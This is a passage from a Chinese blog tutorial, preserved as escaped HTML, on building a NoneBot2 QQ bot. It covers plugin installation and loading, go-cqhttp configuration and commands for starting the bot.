class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e这样我们就安装完成了,可以发现这里会安装一大堆的包,如果不在虚拟环境中很难保证不会产生冲突。\u003c/p\u003e\u003cp\u003e我们尝试运行下面命令,在虚拟环境目录下搭建一个机器人工程进行测试\u003c/p\u003e\u003cp\u003e记得\u003cstrong\u003e换好目录\u003c/strong\u003e,我忘了……bot现在在 \u003ccode\u003e/home/cyk/\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003enb create\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后一步一步安装就行(协议端使用的是\u003cstrong\u003ecqhttp\u003c/strong\u003e)\u003c/p\u003e\u003cp\u003e搭建完成后,我们可以在目录下可以看到一个和你bot名字一样的文件夹\u003c/p\u003e\u003cp\u003e进入后 \u003ccode\u003ebot.py\u003c/code\u003e ,就是我们的机器人初始化代码。而 src 内(或者和你bot名字一样的文件夹)的 plugins 文件夹则是我们存放机器人插件的地方\u003c/p\u003e\u003cp\u003e插件我们可以自己编写然后存入 plugins 中,也可以直接安装官方大佬们编写的插件使机器人可以快速上线\u003c/p\u003e\u003ch3 id=\"安装插件\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E5%AE%89%E8%A3%85%E6%8F%92%E4%BB%B6\" class=\"headerlink\" title=\"安装插件\"\u003e\u003c/a\u003e安装插件\u003c/h3\u003e\u003cp\u003e插件可以通过 \u003ccode\u003enb-cli\u003c/code\u003e 进行安装,也可以自行安装并加载插件。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token comment\"\u003e# 列出所有的插件\u003c/span\u003enb plugin list\u003cspan class=\"token comment\"\u003e# 搜索插件\u003c/span\u003enb plugin search xxx\u003cspan class=\"token comment\"\u003e# 安装插件\u003c/span\u003enb plugin \u003cspan class=\"token function\"\u003einstall\u003c/span\u003e xxx\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"加载插件\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E5%8A%A0%E8%BD%BD%E6%8F%92%E4%BB%B6\" class=\"headerlink\" title=\"加载插件\"\u003e\u003c/a\u003e加载插件\u003c/h3\u003e\u003ch4 id=\"加载内置插件\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E5%8A%A0%E8%BD%BD%E5%86%85%E7%BD%AE%E6%8F%92%E4%BB%B6\" class=\"headerlink\" title=\"加载内置插件\"\u003e\u003c/a\u003e加载内置插件\u003c/h4\u003e\u003cp\u003e在 \u003ccode\u003ebot.py\u003c/code\u003e 文件中添加以下行\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e nonebot\u003cspan class=\"token keyword\"\u003efrom\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eadapters\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ecqhttp \u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e Botnonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einit\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003edriver \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eget_driver\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003edriver\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eregister_adapter\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;cqhttp\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e Bot\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 注册 CQHTTP 的 Adapter\u003c/span\u003enonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eload_builtin_plugins\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 加载 nonebot 内置插件\u003c/span\u003eapp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eget_asgi\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erun\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003eWARNING\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e目前, 内建插件仅支持 CQHTTP 的 Adapter\u003c/p\u003e\u003cp\u003e如果您使用的是其他 Adapter, 请移步该 Adapter 相应的文档\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cstrong\u003e这将会加载 nonebot 内置的插件,它包含:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e命令 \u003ccode\u003esay\u003c/code\u003e:可由\u003cstrong\u003esuperuser\u003c/strong\u003e使用,可以将消息内容由特殊纯文本转为富文本\u003c/li\u003e\u003cli\u003e命令 \u003ccode\u003eecho\u003c/code\u003e:可由任何人使用,将消息原样返回\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e以上命令均需要指定机器人,即私聊、群聊内@机器人、群聊内称呼机器人昵称。参考 \u003ca href=\"https://v2.nonebot.dev/api/rule.html#to-me\"\u003eRule: to_me\u003c/a\u003e\u003c/p\u003e\u003ch4 id=\"加载插件目录\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E5%8A%A0%E8%BD%BD%E6%8F%92%E4%BB%B6%E7%9B%AE%E5%BD%95\" class=\"headerlink\" title=\"加载插件目录\"\u003e\u003c/a\u003e加载插件目录\u003c/h4\u003e\u003cp\u003e在 \u003ccode\u003ebot.py\u003c/code\u003e 文件中添加以下行\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e nonebotnonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einit\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 加载插件目录,该目录下为各插件,以下划线开头的插件将不会被加载\u003c/span\u003enonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eload_plugins\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;awesome_bot/plugins\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003eapp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eget_asgi\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erun\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e提示\u003c/p\u003e\u003cp\u003e加载插件目录时,目录下以 \u003ccode\u003e_\u003c/code\u003e 下划线开头的插件将不会被加载!\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e不能存在相同名称的插件!\u003c/strong\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"加载单个插件\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E5%8A%A0%E8%BD%BD%E5%8D%95%E4%B8%AA%E6%8F%92%E4%BB%B6\" class=\"headerlink\" title=\"加载单个插件\"\u003e\u003c/a\u003e加载单个插件\u003c/h4\u003e\u003cp\u003e在 \u003ccode\u003ebot.py\u003c/code\u003e 文件中添加以下行\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e nonebotnonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einit\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 加载一个 pip 安装的插件\u003c/span\u003enonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eload_plugin\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;nonebot_plugin_status\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 加载本地的单独插件\u003c/span\u003enonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eload_plugin\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;awesome_bot.plugins.xxx\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003eapp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eget_asgi\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erun\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"其他方式\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E5%85%B6%E4%BB%96%E6%96%B9%E5%BC%8F\" class=\"headerlink\" title=\"其他方式\"\u003e\u003c/a\u003e其他方式\u003c/h4\u003e\u003cp\u003e看文档\u003c/p\u003e\u003ch4 id=\"运行结果\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E8%BF%90%E8%A1%8C%E7%BB%93%E6%9E%9C\" class=\"headerlink\" title=\"运行结果\"\u003e\u003c/a\u003e运行结果\u003c/h4\u003e\u003cp\u003e尝试运行 \u003ccode\u003enb run\u003c/code\u003e 或者 \u003ccode\u003epython bot.py\u003c/code\u003e,可以看到日志输出了类似如下内容\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e09-19 \u003cspan class=\"token number\"\u003e21\u003c/span\u003e:51:59 \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eINFO\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e nonebot \u003cspan class=\"token operator\"\u003e|\u003c/span\u003e Succeeded to \u003cspan class=\"token function\"\u003eimport\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;nonebot.plugins.base\u0026#34;\u003c/span\u003e09-19 \u003cspan class=\"token number\"\u003e21\u003c/span\u003e:51:59 \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eINFO\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e nonebot \u003cspan class=\"token operator\"\u003e|\u003c/span\u003e Succeeded to \u003cspan class=\"token function\"\u003eimport\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;plugin_in_folder\u0026#34;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"CQHTTP-协议使用指南\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#CQHTTP-%E5%8D%8F%E8%AE%AE%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97\" class=\"headerlink\" title=\"CQHTTP 协议使用指南\"\u003e\u003c/a\u003eCQHTTP 协议使用指南\u003c/h3\u003e\u003ch4 id=\"配置-CQHTTP-协议端(以-QQ-为例)\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E9%85%8D%E7%BD%AE-CQHTTP-%E5%8D%8F%E8%AE%AE%E7%AB%AF%EF%BC%88%E4%BB%A5-QQ-%E4%B8%BA%E4%BE%8B%EF%BC%89\" class=\"headerlink\" title=\"配置 CQHTTP 协议端(以 QQ 为例)\"\u003e\u003c/a\u003e配置 CQHTTP 协议端(以 QQ 为例)\u003c/h4\u003e\u003cp\u003e单纯运行 NoneBot 实例并不会产生任何效果,因为此刻 QQ 这边还不知道 NoneBot 的存在,也就无法把消息发送给它,因此现在需要使用一个无头 QQ 来把消息等事件上报给 NoneBot。\u003c/p\u003e\u003cp\u003eQQ 协议端举例:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://github.com/Mrs4s/go-cqhttp\"\u003ego-cqhttp\u003c/a\u003e(基于 \u003ca href=\"https://github.com/Mrs4s/MiraiGo\"\u003eMiraiGo\u003c/a\u003e)\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://github.com/yyuueexxiinngg/cqhttp-mirai/tree/embedded\"\u003ecqhttp-mirai-embedded\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://github.com/mamoe/mirai\"\u003eMirai\u003c/a\u003e+ \u003ca href=\"https://github.com/yyuueexxiinngg/cqhttp-mirai\"\u003ecqhttp-mirai\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://github.com/mamoe/mirai\"\u003eMirai\u003c/a\u003e+ \u003ca href=\"https://github.com/iTXTech/mirai-native\"\u003eMirai Native\u003c/a\u003e+ \u003ca href=\"https://github.com/richardchien/coolq-http-api\"\u003eCQHTTP\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://github.com/takayama-lily/onebot\"\u003eOICQ-http-api\u003c/a\u003e(基于 \u003ca href=\"https://github.com/takayama-lily/oicq\"\u003eOICQ\u003c/a\u003e)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这里以 go-cqhttp为例\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e下载 go-cqhttp 对应平台的 release 文件,\u003ca href=\"https://github.com/Mrs4s/go-cqhttp/releases\"\u003e点此前往\u003c/a\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e我下载的\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://github.com/Mrs4s/go-cqhttp/releases/download/v1.0.0-beta4/go-cqhttp_1.0.0-beta4_linux_arm64.deb\"\u003ego-cqhttp_1.0.0-beta4_linux_arm64.deb\u003c/a\u003e\u003c/p\u003e\u003cp\u003e下载速度好慢的,找到个加速的网站\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://zygxsq.cn/github/\"\u003eGithub 加速下载 - 在线工具 (zygxsq.cn)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e安装教程\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/100959322\"\u003emanjaro安装deb包 - 知乎 (zhihu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e不过我包解出来后双击安装的~\u003c/p\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e运行 exe 文件或者使用 \u003ccode\u003e./go-cqhttp\u003c/code\u003e 启动\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e生成默认配置文件并修改默认配置(机器人目录下的 \u003ccode\u003econfig.yml\u003c/code\u003e )\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e uin: 机器人QQ号 password: 机器人密码 encrypt_password: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e password_encrypted: \u003cspan class=\"token string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e enable_db: \u003cspan class=\"token boolean\"\u003etrue\u003c/span\u003e access_token: \u003cspan class=\"token string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e relogin: \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e enabled: \u003cspan class=\"token boolean\"\u003etrue\u003c/span\u003e relogin_delay: \u003cspan class=\"token number\"\u003e3\u003c/span\u003e max_relogin_times: \u003cspan class=\"token number\"\u003e0\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e _rate_limit: \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e enabled: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e frequency: \u003cspan class=\"token number\"\u003e1\u003c/span\u003e bucket_size: \u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e ignore_invalid_cqcode: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e force_fragmented: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e heartbeat_interval: \u003cspan class=\"token number\"\u003e0\u003c/span\u003e http_config: \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e enabled: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e host: \u003cspan class=\"token string\"\u003e\u0026#34;0.0.0.0\u0026#34;\u003c/span\u003e port: \u003cspan class=\"token number\"\u003e5700\u003c/span\u003e timeout: \u003cspan class=\"token number\"\u003e0\u003c/span\u003e post_urls: \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e ws_config: \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e enabled: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e host: \u003cspan class=\"token string\"\u003e\u0026#34;0.0.0.0\u0026#34;\u003c/span\u003e port: \u003cspan class=\"token number\"\u003e6700\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e ws_reverse_servers: \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e enabled: \u003cspan class=\"token boolean\"\u003etrue\u003c/span\u003e reverse_url: ws://127.0.0.1:8080/cqhttp/ws reverse_api_url: ws://you_websocket_api.server reverse_event_url: ws://you_websocket_event.server reverse_reconnect_interval: \u003cspan class=\"token number\"\u003e3000\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e post_message_format: array use_sso_address: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e debug: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e log_level: \u003cspan class=\"token string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e web_ui: \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e enabled: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e host: \u003cspan class=\"token number\"\u003e127.0\u003c/span\u003e.0.1 web_ui_port: \u003cspan class=\"token number\"\u003e9999\u003c/span\u003e web_input: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e其中 \u003ccode\u003ews://127.0.0.1:8080/cqhttp/ws\u003c/code\u003e 中的 \u003ccode\u003e127.0.0.1\u003c/code\u003e 和 \u003ccode\u003e8080\u003c/code\u003e 应分别对应 nonebot 配置的 HOST 和 PORT。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e如果要修改\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e在机器人目录打开终端\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003enano\u003c/span\u003e .env.dev\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e打开该文件,里面的 host 和 port 就是我们工程与 cqhttp 建立联系的通道地址\u003c/p\u003e\u003cp\u003e\u003ccode\u003ecqhttp\u003c/code\u003e 是前述 \u003ccode\u003eregister_adapter\u003c/code\u003e 时传入的第一个参数,代表设置的 \u003ccode\u003eCQHTTPBot\u003c/code\u003e 适配器的路径,你可以对不同的适配器设置不同路径以作区别。\u003c/p\u003e\u003ch3 id=\"启动机器人\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E5%90%AF%E5%8A%A8%E6%9C%BA%E5%99%A8%E4%BA%BA\" class=\"headerlink\" title=\"启动机器人\"\u003e\u003c/a\u003e启动机器人\u003c/h3\u003e\u003cp\u003e注意go-cqhttp目录\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003ewhich\u003c/span\u003e go-cqhttp\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e我的是在\u003ccode\u003e/usr/bin/go-cqhttp\u003c/code\u003e\u003c/p\u003e\u003cp\u003e打开一个终端\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e./go-cqhttp\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e也可设置后台启动\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003enohup\u003c/span\u003e /usr/bin/go-cqhttp \u003cspan class=\"token operator\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e cqhttp.log \u003cspan class=\"token operator\"\u003e\u003cspan class=\"token file-descriptor important\"\u003e2\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"token file-descriptor important\"\u003e\u0026amp;1\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan aria-hidden=\"true\" 